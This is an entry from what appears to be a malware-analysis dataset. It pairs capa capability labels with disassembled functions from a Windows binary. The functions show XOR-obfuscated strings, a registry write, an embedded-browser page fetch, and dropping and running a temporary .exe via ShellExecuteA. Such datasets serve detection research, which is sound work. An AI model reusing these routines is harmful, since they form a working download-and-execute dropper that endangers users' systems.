joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001a9c
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, 0x12
mov dword [rbp - 0x30], 0x61002e
mov dword [rbp - 0x2c], 0x730062
mov dword [rbp - 0x28], 0x2c007c
mov dword [rbp - 0x24], 0x75007c
lea ecx, [rbx + 0x14]
mov dword [rbp - 0x20], 0x7c007b
mov dword [rbp - 0x1c], 0x2e006a
mov dword [rbp - 0x18], 0x61003d
mov dword [rbp - 0x14], 0x730062
mov dword [rbp - 0x10], 0x2c007c
mov word [rbp - 0xc], bx
call fcn.140002534
lea r9, [rbp - 0x30]
mov rdx, rax
sub r9, rax
lea r8d, [rbx + 1]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x140001b07
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret

Function at 0x140001b28
Capabilities:
Reference http user-agent string

Disassembly:
mov rax, rsp
sub rsp, 0x228
lea r8, [rax + 8]
mov dword [rax + 8], 0x200
lea rdx, [rsp + 0x20]
xor ecx, ecx
call sub.urlmon.dll_ObtainUserAgentString
test eax, eax
jns 0x140001b51
xor eax, eax
jmp 0x140001b5b
lea rcx, [rsp + 0x20]
call fcn.14000762c
add rsp, 0x228
ret

Function at 0x140001b64
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x150]
sub rsp, 0x250
and qword [rbp + 0x180], 0
lea r8, [rbp + 0x180]
movsxd rdx, edx
call fcn.140009c34
lea rdx, [rsp + 0x40]
mov ecx, 0x104
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea rcx, [rbp + 0x188]
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov r8d, dword [rbp + 0x188]
lea rdx, str._08X.exe
lea rcx, [rbp + 0x50]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rdx, [rbp + 0x50]
lea rcx, [rsp + 0x40]
call fcn.140007720
and qword [rsp + 0x30], 0
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rcx, qword [rbp + 0x180]
xor ebx, ebx
and dword [rbp + 0x178], ebx
mov rdi, rax
xor edx, edx
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x178]
sub ecx, ebx
add rdx, rsi
mov r8d, ecx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140001c4e
add ebx, dword [rbp + 0x178]
mov rcx, qword [rbp + 0x180]
mov edx, ebx
cmp rdx, rcx
jb 0x140001c18
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x28], 1
lea r8, [rsp + 0x40]
and qword [rsp + 0x20], 0
lea rdx, str.open
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rbx, qword [rsp + 0x270]
add rsp, 0x250
pop rdi
pop rsi
pop rbp
ret
Function at 0x140001c90
Capabilities:
Encode data using xor
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x80
movdqa xmm0, xmmword [0x14001b4f0]
xor esi, esi
movdqa xmm1, xmmword [0x14001b500]
mov qword [rbp + 0x28], rsi
movdqu xmmword [rbp - 0x30], xmm0
lea ebx, [rsi + 0x2a]
mov dword [rbp - 0x10], 0x6077607d
mov ecx, ebx
mov dword [rbp - 0xc], 0x7b735f4e
movdqu xmmword [rbp - 0x20], xmm1
mov word [rbp - 8], 0x127c
call fcn.140002534
lea r8, [rbp - 0x30]
mov rdx, rax
sub r8, rax
lea edi, [rsi + 1]
mov cl, byte [r8 + rdx]
xor cl, 0x12
mov byte [rdx], cl
add rdx, rdi
sub rbx, rdi
jne 0x140001ced
mov qword [rsp + 0x40], rsi
lea rcx, [rbp + 0x28]
mov qword [rsp + 0x38], rcx
xor r9d, r9d
mov qword [rsp + 0x30], rsi
xor r8d, r8d
mov dword [rsp + 0x28], 0xf003f
mov rdx, rax
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x20], esi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x140001d3e
xor al, al
jmp 0x140001dbe
movdqa xmm0, xmmword [str.VaspwT_af_gQ.abs_uj.absA_TFES_WN_q_atfN_fw_wf2WjbC]
mov ebx, 0x19
mov ecx, ebx
mov dword [rbp + 0x20], edi
movdqu xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x20], 0x7d666167
mov dword [rbp - 0x1c], 0x77687b7f
mov byte [rbp - 0x18], 0x12
call fcn.140002534
lea r8, [rbp - 0x30]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, 0x12
mov byte [rdx], cl
add rdx, rdi
sub rbx, rdi
jne 0x140001d76
lea r9d, [rbx + 4]
xor r8d, r8d
lea rcx, [rbp + 0x20]
mov dword [rsp + 0x28], r9d
mov qword [rsp + 0x20], rcx
mov rdx, rax
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp + 0x28]
test eax, eax
movzx ebx, sil
cmove ebx, edi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
mov rbx, qword [rsp + 0xb0]
add rsp, 0x80
pop rdi
pop rsi
pop rbp
ret
Function at 0x140001dd4
Capabilities:
Initialize iwebbrowser2

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xa0
movsxd rbx, r8d
mov rsi, rdx
mov r14, rcx
xor dil, dil
call fcn.140001c90
mov edx, 6
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
lea rcx, [rbp + 0x27]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
and qword [rbp - 0x29], 0
lea rax, [rbp - 0x29]
xor edx, edx
mov qword [rsp + 0x20], rax
lea r9, [0x14001ccc0]
lea rcx, [0x14001ccd0]
lea r8d, [rdx + 0x15]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x140002001
mov rcx, r14
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ecx, 0x11
mov r8d, ebx
mov r14, rax
xor edx, edx
mov eax, 0x2011
mov word [rbp + 0xf], ax
call qword [sym.imp.OLEAUT32.dll_SafeArrayCopyData]
and qword [rbp - 1], 0
lea rdx, [rbp - 1]
mov rcx, rax
mov qword [rbp + 0x17], rax
call qword [sym.imp.OLEAUT32.dll_SafeArrayUnaccessData]
mov rcx, qword [rbp - 1]
mov r8, rbx
mov rdx, rsi
call fcn.1400024b0
mov rcx, qword [rbp + 0x17]
call qword [sym.imp.OLEAUT32.dll_SafeArrayGetElement]
mov rcx, qword [rbp - 0x29]
lea rdx, [rbp + 0x27]
mov qword [rsp + 0x28], rdx
lea r9, [rbp + 0x27]
lea rdx, [rbp + 0xf]
mov qword [rsp + 0x20], rdx
lea r8, [rbp + 0x27]
mov rax, qword [rcx]
mov rdx, r14
call qword [rax + 0x58]
test eax, eax
js 0x140001fe4
jmp 0x140001ed1
cmp dword [rbp - 0x21], 4
je 0x140001eeb
mov rcx, qword [rbp - 0x29]
lea rdx, [rbp - 0x21]
mov rax, qword [rcx]
call qword [rax + 0x1c0]
test eax, eax
jns 0x140001ecb
jmp 0x140001fe4
mov rcx, qword [rbp - 0x29]
lea rdx, [rbp - 9]
and qword [rbp - 9], 0
mov rax, qword [rcx]
call qword [rax + 0x90]
test eax, eax
js 0x140001fe4
mov rcx, qword [rbp - 9]
test rcx, rcx
je 0x140001fe4
and qword [rbp + 7], 0
lea r8, [rbp + 7]
mov rax, qword [rcx]
lea rdx, [0x14001cce0]
call qword [rax]
test eax, eax
js 0x140001fda
mov rcx, qword [rbp + 7]
lea rdx, [rbp - 0x11]
and qword [rbp - 0x11], 0
mov rax, qword [rcx]
call qword [rax + 0x48]
test eax, eax
js 0x140001fda
mov rcx, qword [rbp - 0x11]
lea rdx, [rbp - 0x19]
and qword [rbp - 0x19], 0
mov rax, qword [rcx]
call qword [rax + 0x1d0]
mov rbx, qword [rbp - 0x19]
lea rcx, [rbp + 0x7f]
call fcn.140001a9c
mov rdx, rax
mov rcx, rbx
call fcn.140007b00
test rax, rax
je 0x140001fd0
mov rcx, qword [rbp - 0x19]
lea rdx, str.id_data_
mov dil, 1
call fcn.140007b00
test rax, rax
je 0x140001fd0
lea rdx, [0x14001b4ac]
mov rcx, rax
call fcn.140007b00
lea rdx, [0x14001b4b0]
lea rbx, [rax + 2]
mov rcx, rbx
call fcn.140007b00
sub rax, rbx
sar rax, 1
cmp eax, 0x20
jle 0x140001fd0
mov edx, eax
mov rcx, rbx
call fcn.140001b64
mov rcx, qword [rbp - 0x11]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 9]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x29]
mov rdx, qword [rcx]
call qword [rdx + 0x70]
mov rcx, r14
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rbp - 0x29]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
lea r11, [rsp + 0xa0]
mov al, dil
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x1400026b0
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov rsi, rcx
mov rdi, qword [rax + 0x18]
add rdi, 0x10
mov rbx, qword [rdi + 0x10]
jmp 0x1400026ed
mov rcx, qword [rbx + 0x60]
mov rdx, rsi
call fcn.140007a14
test al, al
jne 0x140002708
mov rbx, qword [rbx + 0x10]
sub rbx, 0x10
cmp rbx, rdi
jne 0x1400026d9
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rax, rbx
jmp 0x1400026f8
Function at 0x140002f70
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
mov qword [rsp + 0x18], r14
push rbp
mov rbp, rsp
sub rsp, 0x50
and dword [rbp - 0x20], 0
mov rdi, r9
cmp qword [section..data], 0xffffffffffffffff
mov rbx, r8
jne 0x140003008
mov r14d, SafeArrayUnaccessData
mov dword [rbp - 0x18], 0x610060
mov dword [rbp - 0x14], 0x770073
mov dword [rbp - 0x10], 0x7a007c
mov dword [rbp - 0xc], 0x76003c
lea ecx, [r14 + 4]
mov dword [rbp - 8], 0x7e007e
mov word [rbp - 4], r14w
call fcn.140002534
lea r9, [rbp - 0x18]
mov r8, rax
sub r9, rax
lea edx, [r14 - 7]
mov rcx, rax
movzx eax, word [r9 + rcx]
xor ax, r14w
mov word [rcx], ax
lea rcx, [rcx + 2]
sub rdx, 1
jne 0x140002fe3
mov rcx, r8
call fcn.1400026b0
mov qword [section..data], rax
xor r9d, r9d
lea rax, [rbp - 0x20]
mov qword [rsp + 0x28], rax
xor edx, edx
and qword [rsp + 0x20], 0
mov rcx, rbx
lea r14d, [r9 + 7]
mov r8d, r14d
call qword [sym.imp.ADVAPI32.dll_CryptExportKey]
test eax, eax
jne 0x14000308c
mov rcx, qword [section..data]
test rcx, rcx
je 0x140003088
mov rdx, qword [rbx]
call fcn.140002694
test al, al
je 0x140003088
mov rax, qword [rbx + 0x58]
movabs rcx, 0xe35a172cd96214a0
xor rax, rcx
xor r9d, r9d
mov r8d, r14d
xor edx, edx
mov rcx, qword [rax]
lea rax, [rbp - 0x20]
mov qword [rsp + 0x28], rax
and qword [rsp + 0x20], 0
or qword [rcx + 0xc], 0x4001
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CryptExportKey]
test eax, eax
jne 0x14000308c
xor al, al
jmp 0x1400030a2
mov ecx, dword [rbp - 0x20]
call fcn.140002460
mov rdx, qword [rbp + 0x30]
mov ecx, dword [rbp - 0x20]
mov qword [rdi], rax
mov al, 1
mov dword [rdx], ecx
mov rbx, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
mov r14, qword [rsp + 0x70]
add rsp, 0x50
pop rbp
ret

Function at 0x1400030c8
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ecx, 0x20
mov dword [rbp - 0x20], 0x7b0045
mov dword [rbp - 0x1c], 0x21007c
mov dword [rbp - 0x18], 0x4d0020
mov dword [rbp - 0x14], 0x600042
lea ebx, [rcx - 0xe]
mov dword [rbp - 0x10], 0x71007d
mov dword [rbp - 0xc], 0x610077
mov dword [rbp - 8], 0x7d0061
mov dword [rbp - 4], 0x120060
call fcn.140002534
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 2]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x140003128
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret
Function at 0x140003148
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, 0x12
mov dword [rbp - 0x30], 0x600042
mov dword [rbp - 0x2c], 0x7f007b
mov dword [rbp - 0x28], 0x600073
mov dword [rbp - 0x24], 0x5d006b
lea ecx, [rbx + 0x10]
mov dword [rbp - 0x20], 0x7c0065
mov dword [rbp - 0x1c], 0x600077
mov dword [rbp - 0x18], 0x73005c
mov dword [rbp - 0x14], 0x77007f
mov word [rbp - 0x10], bx
call fcn.140002534
lea r9, [rbp - 0x30]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 1]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x1400031ac
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret

Function at 0x1400031cc
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, 0x12
mov dword [rbp - 0x30], 0x7d0060
mov dword [rbp - 0x2c], 0x66007d
mov dword [rbp - 0x28], 0x41004e
mov dword [rbp - 0x24], 0x710077
lea ecx, [rbx + 0x18]
mov dword [rbp - 0x20], 0x600067
mov dword [rbp - 0x1c], 0x66007b
mov dword [rbp - 0x18], 0x51006b
mov dword [rbp - 0x14], 0x7c0077
mov dword [rbp - 0x10], 0x770066
mov dword [rbp - 0xc], 0x200060
mov word [rbp - 8], bx
call fcn.140002534
lea r9, [rbp - 0x30]
mov rdx, rax
sub r9, rax
lea r8d, [rbx + 3]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14000323e
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret

Function at 0x140003260
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, 0x12
mov dword [rbp - 0x30], 0x7b0045
mov dword [rbp - 0x2c], 0x21007c
mov dword [rbp - 0x28], 0x4d0020
mov dword [rbp - 0x24], 0x62005d
lea ecx, [rbx + 0x1a]
mov dword [rbp - 0x20], 0x600077
mov dword [rbp - 0x1c], 0x660073
mov dword [rbp - 0x18], 0x7c007b
mov dword [rbp - 0x14], 0x410075
mov dword [rbp - 0x10], 0x61006b
mov dword [rbp - 0xc], 0x770066
mov dword [rbp - 8], 0x12007f
call fcn.140002534
lea r9, [rbp - 0x30]
mov rdx, rax
sub r9, rax
lea r8d, [rbx + 4]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x1400032d5
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret

Function at 0x1400032f8
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ebx, 0x12
mov dword [rbp - 0x20], 0x67005c
mov dword [rbp - 0x1c], 0x70007f
mov dword [rbp - 0x18], 0x600077
mov dword [rbp - 0x14], 0x74005d
lea ecx, [rbx + 0xa]
mov dword [rbp - 0x10], 0x7d0051
mov dword [rbp - 0xc], 0x770060
mov dword [rbp - 8], 0x120061
call fcn.140002534
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 4]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x140003351
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret
Function at 0x140003374
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x60
mov ebx, 0x12
mov dword [rbp - 0x40], 0x570041
mov dword [rbp - 0x3c], 0x57005e
mov dword [rbp - 0x38], 0x460051
mov dword [rbp - 0x34], 0x380032
lea ecx, [rbx + 0x2a]
mov dword [rbp - 0x30], 0x540032
mov dword [rbp - 0x2c], 0x5d0040
mov dword [rbp - 0x28], 0x32005f
mov dword [rbp - 0x24], 0x7b0054
mov dword [rbp - 0x20], 0x770060
mov dword [rbp - 0x1c], 0x730065
mov dword [rbp - 0x18], 0x7e007e
mov dword [rbp - 0x14], 0x600042
mov dword [rbp - 0x10], 0x76007d
mov dword [rbp - 0xc], 0x710067
mov dword [rbp - 8], 0x120066
call fcn.140002534
lea r9, [rbp - 0x40]
mov rdx, rax
sub r9, rax
lea r8d, [rbx + 0xc]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x140003405
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rbp
ret

Function at 0x140003428
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ebx, 0x12
mov dword [rbp - 0x20], 0x73005f
mov dword [rbp - 0x1c], 0x67007c
mov dword [rbp - 0x18], 0x730074
mov dword [rbp - 0x14], 0x660071
lea ecx, [rbx + 8]
mov dword [rbp - 0x10], 0x600067
mov dword [rbp - 0xc], 0x600077
mov word [rbp - 8], bx
call fcn.140002534
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 5]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14000347e
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret

Function at 0x1400034a0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ebx, 0x12
mov dword [rbp - 0x20], 0x770040
mov dword [rbp - 0x1c], 0x7b0075
mov dword [rbp - 0x18], 0x660061
mov dword [rbp - 0x14], 0x600077
lea ecx, [rbx + 0xc]
mov dword [rbp - 0x10], 0x760077
mov dword [rbp - 0xc], 0x610047
mov dword [rbp - 8], 0x600077
mov word [rbp - 4], bx
call fcn.140002534
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 3]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x1400034fd
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret

Function at 0x140003520
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x60
mov ecx, 0x38
mov dword [rbp - 0x40], 0x570041
mov dword [rbp - 0x3c], 0x57005e
mov dword [rbp - 0x38], 0x460051
mov dword [rbp - 0x34], 0x380032
lea ebx, [rcx - 0x26]
mov dword [rbp - 0x30], 0x540032
mov dword [rbp - 0x2c], 0x5d0040
mov dword [rbp - 0x28], 0x32005f
mov dword [rbp - 0x24], 0x7b0045
mov dword [rbp - 0x20], 0x21007c
mov dword [rbp - 0x1c], 0x4d0020
mov dword [rbp - 0x18], 0x600042
mov dword [rbp - 0x14], 0x76007d
mov dword [rbp - 0x10], 0x710067
mov dword [rbp - 0xc], 0x120066
call fcn.140002534
lea r9, [rbp - 0x40]
mov rdx, rax
sub r9, rax
lea r8d, [rbx + 0xa]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x1400035aa
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rbp
ret
Function at 0x1400035cc
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x60
mov ebx, 0x12
mov dword [rbp - 0x40], 0x570041
mov dword [rbp - 0x3c], 0x57005e
mov dword [rbp - 0x38], 0x460051
mov dword [rbp - 0x34], 0x380032
lea ecx, [rbx + 0x2a]
mov dword [rbp - 0x30], 0x540032
mov dword [rbp - 0x2c], 0x5d0040
mov dword [rbp - 0x28], 0x32005f
mov dword [rbp - 0x24], 0x7b0045
mov dword [rbp - 0x20], 0x21007c
mov dword [rbp - 0x1c], 0x4d0020
mov dword [rbp - 0x18], 0x600042
mov dword [rbp - 0x14], 0x71007d
mov dword [rbp - 0x10], 0x610077
mov dword [rbp - 0xc], 0x7d0061
mov dword [rbp - 8], 0x120060
call fcn.140002534
lea r9, [rbp - 0x40]
mov rdx, rax
sub r9, rax
lea r8d, [rbx + 0xc]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14000365d
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rbp
ret

Function at 0x140003680
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ebx, 0x12
mov dword [rbp - 0x20], 0x77005c
mov dword [rbp - 0x1c], 0x510066
mov dword [rbp - 0x18], 0x7c007d
mov dword [rbp - 0x14], 0x77007c
lea ecx, [rbx + 0xe]
mov dword [rbp - 0x10], 0x660071
mov dword [rbp - 0xc], 0x7d007b
mov dword [rbp - 8], 0x5b007c
mov dword [rbp - 4], 0x120056
call fcn.140002534
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 2]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x1400036e0
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret

Function at 0x140003700
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ebx, 0x12
mov dword [rbp - 0x20], 0x41005d
mov dword [rbp - 0x1c], 0x600042
mov dword [rbp - 0x18], 0x76007d
mov dword [rbp - 0x14], 0x710067
lea ecx, [rbx + 0xc]
mov dword [rbp - 0x10], 0x410066
mov dword [rbp - 0xc], 0x7b0067
mov dword [rbp - 8], 0x770066
mov word [rbp - 4], bx
call fcn.140002534
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 3]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14000375d
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret

Function at 0x140003780
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ebx, 0x12
mov dword [rbp - 0x20], 0x770041
mov dword [rbp - 0x1c], 0x7b0060
mov dword [rbp - 0x18], 0x7e0073
mov dword [rbp - 0x14], 0x67005c
lea ecx, [rbx + 8]
mov dword [rbp - 0x10], 0x70007f
mov dword [rbp - 0xc], 0x600077
mov word [rbp - 8], bx
call fcn.140002534
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 5]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x1400037d6
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret
Function at 0x1400037f8
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x60
mov ebx, 0x12
mov dword [rbp - 0x40], 0x370030
mov dword [rbp - 0x3c], 0x4d0061
mov dword [rbp - 0x38], 0x530050
mov dword [rbp - 0x34], 0x4d0056
lea ecx, [rbx + 0x22]
mov dword [rbp - 0x30], 0x4b0046
mov dword [rbp - 0x2c], 0x570042
mov dword [rbp - 0x28], 0x280030
mov dword [rbp - 0x24], 0x370030
mov dword [rbp - 0x20], 0x320076
mov dword [rbp - 0x1c], 0x2f0033
mov dword [rbp - 0x18], 0x370032
mov dword [rbp - 0x14], 0x300076
mov dword [rbp - 0x10], 0x120018
call fcn.140002534
lea r9, [rbp - 0x40]
mov rdx, rax
sub r9, rax
lea r8d, [rbx + 8]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14000387b
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rbp
ret

Function at 0x14000389c
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ebx, 0x12
mov dword [rbp - 0x20], 0x7b0045
mov dword [rbp - 0x1c], 0x21007c
mov dword [rbp - 0x18], 0x4d0020
mov dword [rbp - 0x14], 0x600042
lea ecx, [rbx + 0xa]
mov dword [rbp - 0x10], 0x76007d
mov dword [rbp - 0xc], 0x710067
mov dword [rbp - 8], 0x120066
call fcn.140002534
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 4]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x1400038f5
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret

Function at 0x140003918
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ebx, 0x12
mov dword [rbp - 0x20], 0x60005d
mov dword [rbp - 0x1c], 0x730075
mov dword [rbp - 0x18], 0x7b007c
mov dword [rbp - 0x14], 0x730068
lea ecx, [rbx + 8]
mov dword [rbp - 0x10], 0x7b0066
mov dword [rbp - 0xc], 0x7c007d
mov word [rbp - 8], bx
call fcn.140002534
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 5]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14000396e
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret

Function at 0x140003990
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ebx, 0x12
mov dword [rbp - 0x20], 0x6a0057
mov dword [rbp - 0x1c], 0x710077
mov dword [rbp - 0x18], 0x660067
mov dword [rbp - 0x14], 0x700073
lea ecx, [rbx + 0xc]
mov dword [rbp - 0x10], 0x77007e
mov dword [rbp - 0xc], 0x730042
mov dword [rbp - 8], 0x7a0066
mov word [rbp - 4], bx
call fcn.140002534
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 3]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x1400039ed
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret